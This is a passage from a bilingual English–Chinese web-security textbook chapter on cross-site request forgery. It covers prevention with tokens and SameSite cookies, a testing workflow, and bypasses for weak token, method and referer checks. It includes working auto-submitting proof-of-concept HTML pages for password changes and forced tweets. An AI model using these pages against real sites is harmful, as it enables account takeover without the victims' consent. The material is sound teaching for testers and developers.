Even though this request doesn’t come from Twitter, Twitter will recognize it as valid because it includes your real Twitter session cookie. This attack would make you send the tweet every time you click Submit on the malicious page.

即使此请求并非来自 Twitter，Twitter 仍会将其视为有效，因为它包含您的真实 Twitter 会话 cookie。这种攻击将使您每次单击恶意页面上的提交按钮时都发送推文。

It’s true that this attack page isn’t very useful: it requires the victim to click a button, which most users probably won’t do. How can attackers make the exploit more reliable? Realistically, a malicious CSRF page would look more like this:

这个攻击页面实际上并不是很有效：它需要受害者点击一个按钮，而大多数用户可能不会这么做。攻击者如何能够使攻击更加可靠？实际上，一个恶意的CSRF页面会看起来更像这样：

<html>
  <iframe style="display:none" name="csrf-frame"> 1
    <form method="POST" action="https://twitter.com/send_a_tweet"
    target="csrf-frame" id="csrf-form"> 2
      <input type="text" name="tweet_content" value="Follow @vickieli7 on Twitter!">
      <input type='submit' value="Submit">
    </form>
  </iframe>

  <script>document.getElementById("csrf-form").submit();</script> 3
</html>

This HTML places the form in an invisible iframe to hide it from the user’s view. Remember from Chapter 8 that an iframe is an HTML element that embeds another document within the current HTML document. This particular iframe’s style is set to display:none , meaning it won’t be displayed on the page, making the form invisible 1 . Then, JavaScript code between the script tags 3 will submit the form with the ID csrf-form 2 without the need for user interaction. The code fetches the HTML form by referring to it by its ID, csrf-form . Then the code submits the form by calling the submit() method on it. With this new attack page, any victim who visits the malicious site will be forced to tweet.

这个HTML代码将表单嵌入一个不可见的iframe中，以隐藏它，不让用户看到。你可能还记得第8章讲到过，iframe是一种HTML元素，用于在当前HTML文档中嵌入另一个文档。这个特定的iframe样式设置为display:none，意味着它不会在页面上显示，使得表单不可见。然后，script标签之间的JavaScript代码将在不需要用户交互的情况下提交ID为csrf-form的表单。代码通过引用ID csrf-form来获取HTML表单，然后通过调用submit()方法提交表单。有了这个新的攻击页面，任何访问恶意网站的受害者都将被迫发推文。

What attackers can actually accomplish with a real CSRF vulnerability depends on where the vulnerability is found. For example, let’s say a request that empties a user’s online shopping cart has a CSRF vulnerability. When exploited in the wild, this vulnerability can at most cause annoyance to the site users. It doesn’t have the potential to cause any major financial harm or identity theft.

攻击者能利用真实的 CSRF 漏洞实际上取决于漏洞的位置。例如，假设清空用户在线购物车的请求存在 CSRF 漏洞。当在野外利用此漏洞时，它最多只能对网站用户造成烦恼，没有潜在的造成任何重大的财务损失或身份盗窃。

On the other hand, some CSRFs can lead to much bigger issues. If a CSRF vulnerability is present on requests used to change a user’s password, for example, an attacker can change other users’ passwords against their will and take over their entire accounts! And when a CSRF appears in functionalities that handle user finances, like account balance transfers, attackers can potentially cause unauthorized balance transfers out of the victim’s bank account. You can also use CSRFs to trigger injection vulnerabilities such as XSS and command injections.

另一方面，有些 CSRF 可能会导致更大的问题。例如，如果请求中存在 CSRF 漏洞用于更改用户密码，攻击者可以未经其同意更改其他用户的密码并接管其整个帐户！而当 CSRF 出现在处理用户财务的功能中，例如帐户余额转账时，攻击者可能会导致未经授权的余额转账从受害者的银行账户中进行。您还可以使用 CSRF 触发 XSS 和命令注入等注入漏洞。

Prevention

The best way to prevent CSRFs is to use CSRF tokens . Applications can embed these random and unpredictable strings in every form on their website, and browsers will send this string along with every state-changing request. When the request reaches the server, the server can validate the token to make sure the request indeed originated from its website. This CSRF token should be unique for each session and/or HTML form so attackers can’t guess the token’s value and embed it on their websites. Tokens should have sufficient entropy so that they cannot be deduced by analyzing tokens across sessions.

防止CSRF的最佳方法是使用CSRF令牌。应用程序可以将这些随机和不可预测的字符串嵌入其网站上的每个表单中，浏览器将随着每个状态更改请求发送该字符串。当请求到达服务器时，服务器可以验证令牌，以确保该请求确实源于其网站。这个CSRF令牌应该对于每个会话和/或HTML表单都是唯一的，这样攻击者就无法猜测令牌的值并嵌入它们的网站上。令牌应具有足够的熵，以便不能通过分析跨会话的令牌来推断出它们的价值。

The server generates random CSRF tokens and embeds correct CSRF tokens in forms on the legitimate site. Notice the new input field used to specify a CSRF token:

服务器会生成随机的CSRF令牌，并将正确的CSRF令牌嵌入到合法网站的表单中。请注意，新的输入字段用于指定CSRF令牌：

<form method="POST" action="https://twitter.com/send_a_tweet">
  <input type="text" name="tweet_content" value="Hello world!">
  <input type="text" name="csrf_token" value="871caef0757a4ac9691aceb9aad8b65b">
  <input type="submit" value="Submit">
</form>

Twitter’s server can require that the browser send the correct value of the csrf_token POST parameter along with the request for it to be successful. If the value of csrf_token is missing or incorrect, the server should see the request as fake and reject it.

Twitter的服务器可能会要求浏览器在请求时发送正确的csrf_token POST参数值才能成功。如果csrf_token的值缺失或不正确，服务器应该将请求视为伪造并拒绝它。

Here is the resulting POST request:

这是产生的POST请求：

POST /send_a_tweet
Host: twitter.com
Cookie: session_cookie=YOUR_TWITTER_SESSION_COOKIE

(POST request body)
tweet_content="Hello world!"&csrf_token=871caef0757a4ac9691aceb9aad8b65b

Many frameworks have CSRF tokens built in, so often you can simply use your framework’s implementation.

许多框架都内置了CSRF令牌，因此通常您可以直接使用框架的实现。

Besides implementing CSRF tokens to ensure the authenticity of requests, another way of protecting against CSRF is with SameSite cookies. The Set-Cookie header allows you to use several optional flags to protect your users’ cookies, one of which is the SameSite flag. When the SameSite flag on a cookie is set to Strict , the client’s browser won’t send the cookie during cross-site requests:

除了实现CSRF令牌以确保请求的真实性，另一种防止CSRF的方法是使用SameSite cookie。 Set-Cookie标头允许您使用几个可选标志来保护用户的cookie，其中之一是SameSite标志。当同站点标志的cookie被设置为“严格”时，客户端的浏览器不会在跨站点请求期间发送该cookie。

Set-Cookie: PHPSESSID=UEhQU0VTU0lE; Max-Age=86400; Secure; HttpOnly; SameSite=Strict

Another possible setting for the SameSite flag is Lax , which tells the client’s browser to send a cookie only in requests that cause top-level navigation (when users actively click a link and navigate to the site). This setting ensures that users still have access to the resources on your site if the cross-site request is intentional. For example, if you navigate to Facebook from a third-party site, your Facebook logins will be sent. But if a third-party site initiates a POST request to Facebook or tries to embed the contents of Facebook within an iframe, cookies won’t be sent:

另一种可能的SameSite标志设置为Lax，告诉客户端浏览器仅在引起顶级导航的请求中发送cookie（当用户积极点击链接并导航到网站时）。此设置确保用户仍然可以访问您网站上的资源，如果跨站请求是有意的。例如，如果您从第三方网站导航到Facebook，则会发送您的Facebook登录信息。但是，如果第三方网站发起POST请求到Facebook或尝试将Facebook内容嵌入iframe中，则不会发送cookie。

Set-Cookie: PHPSESSID=UEhQU0VTU0lE; Max-Age=86400; Secure; HttpOnly; SameSite=Lax

Specifying the SameSite attribute is good protection against CSRF because both the Strict and Lax settings will prevent browsers from sending cookies on cross-site form POST or AJAX requests, and within iframes and image tags. This renders the classic CSRF hidden-form attack useless.

指定SameSite属性是对抗CSRF的良好保护，因为严格（Strict）和宽松（Lax）设置都可以防止浏览器发送跨站表单POST或AJAX请求、iframe和图像标签中的cookie。这使得经典的CSRF隐藏表单攻击无效。

In 2020, Chrome and a few other browsers made SameSite=Lax the default cookie setting if it’s not explicitly set by the web application. Therefore, even if a web application doesn’t implement CSRF protection, attackers won’t be able to attack a victim who uses Chrome with POST CSRF. The efficacy of a classic CSRF attack will likely be greatly reduced, since Chrome has the largest web browser market share. On Firefox, the SameSite default setting is a feature that needs to be enabled. You can enable it by going to about:config and setting network.cookie.sameSite.laxByDefault to true .

在2020年，Chrome和少数其他浏览器将SameSite=Lax作为默认的Cookie设置，如果它未被 Web应用程序明确设置。因此，即使Web应用程序不实现CSRF保护，攻击者也无法攻击使用Chrome进行POST CSRF的受害者。经典 CSRF 攻击的功效可能会大大降低，因为 Chrome 拥有最大的网络浏览器市场份额。在 Firefox 上，SameSite 默认设置是需要启用的功能。您可以通过转到 about：config 并将 network.cookie.sameSite.laxByDefault 设置为 true 来启用它。

Even when browsers adopt the SameSite- by-default policy, CSRFs are still possible under some conditions. First, if the site allows state-changing requests with the GET HTTP method, third-party sites can attack users by creating CSRF with a GET request. For example, if the site allows you to change a password with a GET request, you could post a link like this to trick users into clicking it: https://email.example.com/password_change?new_password=abc123 .

即使浏览器采用了SameSite-by-default政策，在某些情况下仍然可能存在CSRF攻击。首先，如果网站允许使用GET HTTP方法进行状态更改请求，第三方网站就可以通过GET请求创建CSRF攻击来攻击用户。例如，如果网站允许您使用GET请求更改密码，您可以发布此链接来欺骗用户单击它:https://email.example.com/password_change?new_password=abc123.

Since clicking this link will cause top-level navigation, the user’s session cookies will be included in the GET request, and the CSRF attack will succeed:

由于单击此链接将导致顶层导航，用户的会话 cookie 将包含在 GET 请求中，从而使 CSRF 攻击成功。

GET /password_change?new_password=abc123
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

In another scenario, sites manually set the SameSite attribute of a cookie to None . Some web applications have features that require third-party sites to send cross-site authenticated requests. In that case, you might explicitly set SameSite on a session cookie to None , allowing the sending of the cookie across origins, so traditional CSRF attacks would still work. Finally, if the victim is using a browser that doesn’t set the SameSite attribute to Lax by default (including Firefox, Internet Explorer, and Safari), traditional CSRF attacks will still work if the target application doesn’t implement diligent CSRF protection.

在另一种情况下，站点手动设置了 SameSite 属性为 None 的 cookie。一些 Web 应用程序具有需要第三方站点发送跨站身份验证请求的功能。在这种情况下，您可以明确地将 SameSite 设置为 None 并在会话 cookie 上，允许跨源发送 cookie，因此传统 CSRF 攻击仍然有效。最后，如果受害者使用的浏览器不会默认将 SameSite 属性设置为 Lax（包括 Firefox、Internet Explorer 和 Safari），则如果目标应用程序没有实施认真的 CSRF 保护，则传统的 CSRF 攻击仍然有效。

We’ll explore other ways of bypassing CSRF protection later in this chapter. For now, just remember: when websites don’t implement SameSite cookies or other CSRF protection for every state-changing request, the request becomes vulnerable to CSRF if the user is not using a SameSite -by-default browser. CSRF protection is still the responsibility of the website despite the adoption of SameSite -by-default.

我们将在本章后面探索绕过CSRF保护的其他方法。目前，只需记住：当网站对于每个状态改变请求都没有实施SameSite cookie或其他CSRF保护时，如果用户没有使用SameSite-by-default浏览器，该请求将变得容易受到CSRF攻击。尽管采用SameSite-by-default，但CSRF保护仍然是网站的责任。

Hunting for CSRFs

CSRFs are common and easy to exploit. To look for them, start by discovering state-changing requests that aren’t shielded by CSRF protections. Here’s a three-step process for doing so. Remember that because browsers like Chrome offer automatic CSRF protection, you need to test with another browser, such as Firefox.

CSRF攻击常见且易受攻击。要查找它们，首先要发现没有经过CSRF保护的状态更改请求。以下是三个步骤的过程。请记住，由于像Chrome这样的浏览器提供自动CSRF保护，因此您需要使用其他浏览器（例如Firefox）进行测试。

Step 1: Spot State-Changing Actions

Actions that alter the users’ data are called state-changing actions . For example, sending tweets and modifying user settings are both state-changing. The first step of spotting CSRFs is to log in to your target site and browse through it in search of any activity that alters data.

改变用户数据的操作称为状态更改操作。例如，发送推文和修改用户设置都是状态更改操作。发现 CSRF 的第一步是登录到目标网站并浏览其中寻找任何更改数据的活动。

For example, let’s say you’re testing email.example.com , a subdomain of example.com that handles email. Go through all the app’s functionalities, clicking all the links. Intercept the generated requests with a proxy like Burp and write down their URL endpoints.

例如，假设您正在测试 email.example.com，这是处理电子邮件的 example.com 子域。浏览所有应用程序的功能，点击所有链接。使用 Burp 等代理拦截生成的请求，并记录其 URL 端点。

Record these endpoints one by one, in a list like the following, so you can revisit and test them later:

请把这些端点逐个记录在下面的列表中，方便以后回顾和测试：

State-changing requests on email.example.com

在 email.example.com 上的状态更改请求

Change password: email.example.com/password_change

POST request

"POST请求"

Request parameters: new_password

请求参数：新密码

Send email: email.example.com/send_email

POST request

`POST请求`

Request parameters: draft_id , recipient_id

请求参数：draft_id，接收者id

Delete email: email.example.com/delete_email

POST request

发布请求

Request parameters: email_id

请求参数：电子邮件 ID

Step 2: Look for a Lack of CSRF Protections

Now visit these endpoints to test them for CSRFs. First, open up Burp Suite and start intercepting all the requests to your target site in the Proxy tab. Toggle the Intercept button until it reads Intercept is on ( Figure 9-3 ).

现在访问这些端点以测试是否存在 CSRF。首先，在代理选项卡中打开 Burp Suite 并开始拦截所有指向目标站点的请求。切换到截获按钮并将其调整为“截获已开启”(见图9-3)。

Figure 9-3 : Set to Intercept is on to capture your browser’s traffic. Click the Forward button to forward the current request to the server.

图9-3：开启截取功能以捕获浏览器流量。点击前进按钮将当前请求发送至服务器。

Let Burp run in the background to record other traffic related to your target site while you’re actively hunting for CSRFs. Keep clicking the Forward button until you encounter the request associated with the state-changing action. For example, let’s say you’re testing whether the password-change function you discovered is vulnerable to CSRFs. You’ve intercepted the request in your Burp proxy:

在你积极寻找 CSRF 时，让 Burp 在后台运行以记录与目标站点相关的其他流量。不断点击“前进”按钮，直到你遇到与状态改变操作相关的请求。例如，假设你正在测试你发现的密码更改功能是否容易受到 CSRF 的攻击。你已经在你的 Burp 代理拦截了请求。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123

In the intercepted request, look for signs of CSRF protection mechanisms. Use the search bar at the bottom of the window to look for the string "csrf" or "state" . CSRF tokens can come in many forms besides POST body parameters; they sometimes show up in request headers, cookies, and URL parameters as well. For example, they might show up like the cookie here:

在拦截请求中，寻找CSRF保护机制的迹象。使用窗口底部的搜索栏搜索字符串“csrf”或“state”。除了POST主体参数外，CSRF令牌还可以采用许多形式；它们有时也会出现在请求头、cookie和URL参数中。例如，在此处可能会像cookie一样显示：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b

(POST request body)
new_password=abc123

But even if you find a CSRF protection present on the endpoint, you could try a variety of protection-bypass techniques. I’ll talk about them later in the chapter.

即使您在端点上发现了CSRF保护，您仍可以尝试各种保护绕过技术。我将在本章稍后讨论它们。

Step 3: Confirm the Vulnerability

After you’ve found a potentially vulnerable endpoint, you’ll need to confirm the vulnerability. You can do this by crafting a malicious HTML form that imitates the request sent by the legitimate site.

在找到潜在易受攻击的端点后，您需要确认这种脆弱性。您可以通过构建恶意HTML表单来模仿合法站点发送的请求来实现这一点。

Craft an HTML page like this in your text editor. Make sure to save it with an .html extension! This way, your computer will open the file with a browser by default:

使用文本编辑器制作一个像这样的HTML页面。确保将其保存为.html扩展名！这样，您的计算机将默认使用浏览器打开文件：

<html>
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form"> 1
    <input type="text" name="new_password" value="abc123"> 2
    <input type="submit" value="Submit"> 3
  </form>
  <script>document.getElementById("csrf-form").submit();</script> 4
</html>

The <form> tag specifies that you’re defining an HTML form. An HTML form’s method attribute specifies the HTML method of the request generated by the form, and the action attribute specifies where the request will be sent to 1 . The form generates a POST request to the endpoint https://email.example.com/password_change . Next are two input tags. The first one defines a POST parameter with the name new_password and the value abc123 2 . The second one specifies a Submit button 3 . Finally, the <script> tag at the bottom of the page contains JavaScript code that submits the form automatically 4 .

<form>标签指定了HTML表单的定义。HTML表单的method属性指定了表单生成的请求的HTML方法，而action属性指定了请求将发送到的位置1。该表单生成一个POST请求到端点https://email.example.com/password_change。接下来是两个输入标签。第一个定义了一个名为new_password和值为abc123的POST参数2。第二个指定一个提交按钮3。最后，在页面底部的<script>标签包含自动提交表单的JavaScript代码4。

Open the HTML page in the browser that is signed into your target site. This form will generate a request like this:

打开已登入目标站点的浏览器中的 HTML 页面。此表单将生成以下请求：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123

Check if your password on email.example.com has been changed to abc123 . In other words, check if the target server has accepted the request generated by your HTML page. The goal is to prove that a foreign site can carry out state-changing actions on a user’s behalf.

检查您在email.example.com上的密码是否被更改为abc123。换句话说，检查目标服务器是否接受了您的HTML页面生成的请求。目标是证明外部网站可以代表用户执行状态更改操作。

Finally, some websites might be missing CSRF tokens but still protect against CSRF attacks by checking if the referer header of the request matches a legitimate URL. Checking the referer header protects against CSRF, because these headers help servers filter out requests that have originated from foreign sites. Confirming a CSRF vulnerability like this can help you rule out endpoints that have referer-based CSRF protection.

一些网站可能缺少CSRF令牌，但仍通过检查请求的引用来源头（referer header）是否匹配合法的URL来防止CSRF攻击。检查引用来源头可以防止CSRF攻击，因为这些头信息帮助服务器筛选出源于外部网站的请求。确认这样的CSRF漏洞可以帮助您排除具有基于引用来源头的CSRF保护的节点。

However, it’s important for developers to remember that referer headers can be manipulated by attackers and aren’t a foolproof mitigation solution. Developers should implement a combination of CSRF tokens and SameSite session cookies for the best protection.

然而，开发人员需要记住，引用头可以被攻击者操纵，且不是绝对可靠的缓解解决方案。开发人员应该实现CSRF令牌和SameSite会话cookie的组合，以获得最佳保护。

Bypassing CSRF Protection

Modern websites are becoming more secure. These days, when you examine requests that deal with sensitive actions, they’ll often have some form of CSRF protection. However, the existence of protections doesn’t mean that the protection is comprehensive, well implemented, and impossible to bypass. If the protection is incomplete or faulty, you might still be able to achieve a CSRF attack with a few modifications to your payload. Let’s talk about techniques you can use to bypass CSRF protection implemented on websites.

现代网站变得更加安全。现在，当您检查涉及敏感操作的请求时，它们通常会有某种形式的CSRF保护。但是，保护的存在并不意味着保护是全面的，实施良好的并且不可能被绕过。如果保护不完整或有故障，您仍然可以通过对有效载荷进行一些修改来实现CSRF攻击。让我们谈谈您可以使用的绕过实施在网站上的CSRF保护的方法。

Exploit Clickjacking

If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attack discussed in Chapter 8 , you can exploit clickjacking to achieve the same results as a CSRF.

如果端点使用CSRF令牌，但页面本身容易受到点击劫持攻击（第8章中讨论的一种攻击），您可以利用点击劫持来实现与CSRF相同的结果。

This is because, in a clickjacking attack, an attacker uses an iframe to frame the page in a malicious site while having the state-changing request originate from the legitimate site. If the page where the vulnerable endpoint is located is vulnerable to clickjacking, you’ll be able to achieve the same results as a CSRF attack on the endpoint, albeit with a bit more effort and CSS skills.

因为在点击劫持攻击中，攻击者使用一个iframe将页面嵌入到恶意站点而将状态改变请求源自合法站点。如果存在漏洞让受攻击终端页面易于遭到点击劫持，攻击者可以在终端点上达到和CSRF攻击的同样效果，只需更多的努力与CSS技能。

Check a page for clickjacking by using an HTML page like the following one. You can place a page in an iframe by specifying its URL as the src attribute of an <iframe> tag. Then, render the HTML page in your browser. If the page that the state-changing function is located in appears in your iframe, the page is vulnerable to clickjacking:

使用以下HTML页面检查点击劫持。您可以通过将页面的URL指定为<iframe>标记的src属性来将页面放置在iframe中。然后，在浏览器中呈现HTML页面。如果包含状态更改函数的页面出现在您的iframe中，则该页面容易受到点击劫持攻击：

<html>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
    <iframe src="PAGE_URL" width="500" height="500"></iframe>
  </body>
</html>

Then you could use clickjacking to trick users into executing the state-changing action. Refer to Chapter 8 to learn how this attack works.

那么你可以使用点击劫持来欺骗用户执行状态变更操作。参考第8章以了解此攻击的工作原理。

Change the Request Method

Another trick you can use to bypass CSRF protections is changing the request method. Sometimes sites will accept multiple request methods for the same endpoint, but protection might not be in place for each of those methods. By changing the request method, you might be able to get the action executed without encountering CSRF protection.

您可以使用的另一种绕过CSRF保护的方法是更改请求方法。有时站点会接受相同端点的多个请求方法，但每种方法可能都没有保护措施。通过更改请求方法，您可能能够执行操作而不遇到CSRF保护。

For example, say the POST request of the password-change endpoint is protected by a CSRF token, like this:

例如，假设密码更改终端的POST请求由CSRF令牌保护，如下所示：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b

You can try to send the same request as a GET request and see if you can get away with not providing a CSRF token:

您可以尝试将相同的请求作为GET请求发送，看一下是否可以免费提供CSRF令牌：

GET /password_change?new_password=abc123
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

In this case, your malicious HTML page could simply look like this:

在这种情况下，你的恶意 HTML 页面可能看起来很简单，就像这样：

<html>
  <img src="https://email.example.com/password_change?new_password=abc123"/>
</html>

The HTML <img> tag loads images from external sources. It will send a GET request to the URL specified in its src attribute.

HTML <img> 标签从外部源加载图像。它将向其 src 属性中指定的 URL 发送 GET 请求。

If the password change occurs after you load this HTML page, you can confirm that the endpoint is vulnerable to CSRF via a GET request. On the other hand, if the original action normally uses a GET request, you can try converting it into a POST request instead.

如果在加载此HTML页面后密码更改发生，则可以通过GET请求确认该端点容易受到CSRF攻击。另一方面，如果原始操作通常使用GET请求，则可以尝试将其转换为POST请求。

Bypass CSRF Tokens Stored on the Server

But what if neither clickjacking nor changing the request method works? If the site implements CSRF protection via tokens, here are a few more things that you can try.

但如果既不能进行点击劫持，也不能更改请求方法，如果网站通过令牌实现了 CSRF 保护，那么你可以尝试以下几件事情。

Just because a site uses CSRF tokens doesn’t mean it is validating them properly. If the site isn’t validating CSRF tokens in the right way, you can still achieve CSRF with a few modifications of your malicious HTML page.

仅仅因为一个站点使用CSRF令牌并不意味着它正确地验证了它们。如果该站点没有以正确方式验证CSRF令牌，则您仍然可以通过一些恶意HTML页面的修改来实现CSRF。

First, try deleting the token parameter or sending a blank token parameter. For example, this will send the request without a csrf_token parameter:

首先，尝试删除令牌参数或发送空令牌参数。例如，这将发送没有csrf_token参数的请求。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123

You can generate this request with an HTML form like this:

你可以使用以下 HTML 表单来生成此请求：

<html>
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

This next request will send a blank csrf_token parameter:

这个下一个请求会发送一个空的csrf_token参数。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=

You can generate a payload like this by using an HTML form like the following:

通过使用以下HTML表单，您可以生成类似于这样的有效载荷：

<html>
  <form method="POST" action="https://email.example.com/password_change" id"csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

Deleting the token parameter or sending a blank token often works because of a common application logic mistake. Applications sometimes check the validity of the token only if the token exists, or if the token parameter is not blank. The code for an insecure application’s validation mechanism might look roughly like this:

删除令牌参数或发送空令牌通常有效，因为存在常见的应用程序逻辑错误。应用程序有时仅在令牌存在或令牌参数不为空时才检查令牌的有效性。不安全应用程序的验证机制代码可能大致如下：

def validate_token():
1 if (request.csrf_token == session.csrf_token):
    pass
  else:
2 throw_error("CSRF token incorrect. Request rejected.")
[...]

def process_state_changing_action():
  if request.csrf_token:
    validate_token()
3 execute_action()

This fragment of Python code first checks whether the CSRF token exists 1 . If it exists, the code will proceed to validate the token. If the token is valid, the code will continue. If the token is invalid, the code will stop the execution and produce an error 2 . On the other hand, if the token does not exist, the code will skip validation and jump to executing the action right away 3 . In this case, sending a request without the token, or a blank value as the token, may mean the server won’t attempt to validate the token at all.

这段 Python 代码首先检查 CSRF 令牌是否存在。如果存在，代码将进一步验证令牌。如果令牌有效，代码将继续执行。如果令牌无效，代码将停止执行并产生错误。另一方面，如果令牌不存在，代码将跳过验证，直接执行动作。在这种情况下，发送没有令牌或空值作为令牌的请求可能意味着服务器根本不会尝试验证令牌。

You can also try submitting the request with another session’s CSRF token. This works because some applications might check only whether the token is valid, without confirming that it belongs to the current user. Let’s say the victim’s token is 871caef0757a4ac9691aceb9aad8b65b , and yours is YOUR_TOKEN . Even though it’s hard to get the victim’s token, you can obtain your own token easily, so try providing your own token in the place of the legitimate token. You can also create another test account to generate tokens if you don’t want to use your own tokens. For example, your exploit code might look like this:

您也可以尝试使用另一个会话的 CSRF 令牌来提交请求。这是因为一些应用程序可能仅检查令牌是否有效，而不确认它属于当前用户。假设受害者的令牌是871caef0757a4ac9691aceb9aad8b65b，您的令牌是YOUR_TOKEN。即使很难获取受害者的令牌，您可以轻松获得自己的令牌，因此请尝试在合法令牌的位置提供您自己的令牌。如果您不想使用自己的令牌，还可以创建另一个测试帐户来生成令牌。例如，您的利用代码可能如下所示：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE

(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN

The faulty application logic might look something like this:

有缺陷的应用逻辑可能类似于这样：

def validate_token():
  if request.csrf_token:
1  if (request.csrf_token in valid_csrf_tokens):
    pass
  else:
    throw_error("CSRF token incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_token()
2 execute_action()

The Python code here first validates the CSRF token. If the token is in a list of current valid tokens 1 , execution continues and the state-changing action is executed 2 . Otherwise, an error is generated and execution halts. If this is the case, you can insert your own CSRF token into the malicious request!

这段 Python 代码首先验证 CSRF 令牌。如果该令牌在当前有效令牌列表之内，则进入执行第1步的状态，并执行状态变更的操作2。否则，将产生错误并停止执行。如果是这样的话，您可以将自己的 CSRF 令牌插入到恶意请求中！

Bypass Double-Submit CSRF Tokens

Sites also commonly use a double-submit cookie as a defense against CSRF. In this technique, the state-changing request contains the same random token as both a cookie and a request parameter, and the server checks whether the two values are equal. If the values match, the request is seen as legitimate. Otherwise, the application rejects it. For example, this request would be deemed valid, because the csrf_token in the user’s cookies matches the csrf_token in the POST request parameter:

网站也通常使用双重提交 cookie 作为防范 CSRF 的一种方法。在这种技术中，改变状态的请求包含相同的随机令牌，既是一个 cookie，也是一个请求参数，服务器会检查这两个值是否相等。如果这些值相匹配，则请求被视为合法，在其他情况下，应用程序将拒绝该请求。例如，如果用户 cookies 中的 csrf_token 与 POST 请求参数中的 csrf_token 匹配，则此请求将被视为有效。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=871caef0757a4ac9691aceb9aad8b65b

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b

And the following one would fail. Notice that the csrf_token in the user’s cookies is different from the csrf_token in the POST request parameter. In a double-submit token validation system, it does not matter whether the tokens themselves are valid. The server checks only whether the token in the cookies is the same as the token in the request parameters:

而下一个则会失败。注意，在用户的Cookie中的csrf_token与POST请求参数中的csrf_token不同。在双重提交令牌验证系统中，令牌本身是否有效并不重要。服务器只检查Cookie中的令牌是否与请求参数中的令牌相同。

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=1aceb9aad8b65b871caef0757a4ac969

(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b

If the application uses double-submit cookies as its CSRF defense mechanism, it’s probably not keeping records of the valid token server-side. If the server were keeping records of the CSRF token server-side, it could simply validate the token when it was sent over, and the application would not need to use double-submit cookies in the first place.

如果应用程序使用双重提交 cookie 作为其 CSRF 防御机制，则其可能没有在服务器端保留有效令牌的记录。如果服务器在服务器端保留 CSRF 令牌的记录，则可以在发送令牌时简单地验证令牌，并且应用程序不需要首先使用双重提交 cookie。

The server has no way of knowing if any token it receives is actually legitimate; it’s merely checking that the token in the cookie and the token in the request body is the same. In other words, this request, which enters the same bogus value as both the cookie and request parameter, would also be seen as legitimate:

服务器无法知道它收到的任何令牌是否真实合法；它仅检查Cookie中的令牌和请求正文中的令牌是否相同。换句话说，发送相同伪造值作为Cookie和请求参数的此请求也将被视为合法的：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token

(POST request body)
new_password=abc123&csrf_token=not_a_real_token

Generally, you shouldn’t have the power to change another user’s cookies. But if you can find a way to make the victim’s browser send along a fake cookie, you’ll be able to execute the CSRF.

一般情况下，你不应该有更改其他用户的 cookies 的权力。但是，如果你能找到一种方法使受害者的浏览器发送一个虚假的 cookie，你就能执行 CSRF 攻击。

The attack would then consist of two steps: first, you’d use a session-fixation technique to make the victim’s browser store whatever value you choose as the CSRF token cookie. Session fixation is an attack that allows attackers to select the session cookies of the victim. We do not cover session fixations in this book, but you can read about them on Wikipedia ( https://en.wikipedia.org/wiki/Session_fixation ). Then, you’d execute the CSRF with the same CSRF token that you chose as the cookie.

攻击将包括两个步骤：首先，您将使用会话固定技术使受害者的浏览器存储您选择的CSRF令牌cookie的任何值。会话固定是一种攻击，允许攻击者选择受害者的会话cookie。我们不在本书中涵盖会话固定，但可以在维基百科上阅读有关它们的内容（https://en.wikipedia.org/wiki/Session_fixation）。然后，您将使用与您选择的CSRF令牌相同的CSRF令牌执行CSRF。

Bypass CSRF Referer Header Check

What if your target site isn’t using CSRF tokens but checking the referer header instead? The server might verify that the referer header sent with the state-changing request is a part of the website’s allowlisted domains. If it is, the site would execute the request. Otherwise, it would deem the request to be fake and reject it. What can you do to bypass this type of protection?

如果目标站点没有使用CSRF令牌而是检查引用头呢？服务器可能会验证随状态更改请求发送的引用头是否是网站允许列出的域的一部分。如果是，该站点将执行请求。否则，它将认为该请求是伪造的并拒绝它。你该怎么绕过这种保护？

First, you can try to remove the referer header. Like sending a blank token, sometimes all you need to do to bypass a referer check is to not send a referer at all. To remove the referer header, add a <meta> tag to the page hosting your request form:

首先，你可以尝试移除Referer头。就像发送一个空令牌一样，有时你只需要不发送Referer就可以绕过Referer检查。要移除Referer头，将一个<meta>标签添加到托管请求表单的页面即可：

<html>
  <meta name="referrer" content="no-referrer">
  <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
    <input type="text" name="new_password" value="abc123">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

This particular <meta> tag tells the browser to not include a referer header in the resulting HTTP request.

这个特定的<meta>标签告诉浏览器不要在生成的HTTP请求中包含引荐头。

The faulty application logic might look like this:

错误的应用逻辑可能是这样的：

def validate_referer():
  if (request.referer in allowlisted_domains):
    pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

